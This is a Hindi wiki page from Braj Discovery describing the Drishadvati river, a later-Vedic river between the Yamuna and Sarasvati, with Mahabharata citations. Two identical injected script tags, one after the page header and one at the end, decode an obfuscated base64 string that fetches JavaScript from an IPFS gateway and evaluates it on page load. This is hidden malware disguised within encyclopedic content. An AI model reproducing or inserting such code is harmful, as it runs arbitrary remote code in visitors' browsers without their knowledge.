दृषद्वती

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित ०७:२५, २९ अगस्त २०१० का अवतरण (Text replace - '==टीका-टिप्पणी==' to '==टीका टिप्पणी और संदर्भ==')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दृषद्वती / Drishdvati

उत्तर वैदिक काल की प्रख्यात नदी जो यमुना और सरस्वती के बीच के प्रदेश में बहती थी। इस प्रदेश को ब्रह्मावर्त कहते थे। इस नदी को अब घग्घर कहते हैं। द्दषद्वती का उल्लेख ॠग्वेद में केवल एक बार सरस्वती नदी के साथ है। महाभारत में नदियों की सूची में द्दषद्वती भी परिगणित है[१]। महाभारत वनपर्व में द्दषद्वती का सरस्वती के साथ ही उल्लेख है[२]। द्दषद्वती-कौशिकी संगम का वर्णन महाभारत वनपर्व[३] में हैं[४]

टीका टिप्पणी और संदर्भ

  1. 'शतद्रूं चन्द्रभागां च यमुनां च महानदीम्, द्दषद्वतीं विपाशां च विपापां स्थूलवालुकाम्', भीष्मपर्व 9,15
  2. 'सरस्वती नदी सदिभ्: सततं पार्थ पूजिता, बालखिल्यैर्महाराज यत्रेष्टमृषिभि: पुरा, द्दषद्वती महापुण्या यत्र ख्याता युधिष्ठर',वनपर्व 90,10-11
  3. वनपर्व 83,95-96
  4. दे॰ कौशिकी 2

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>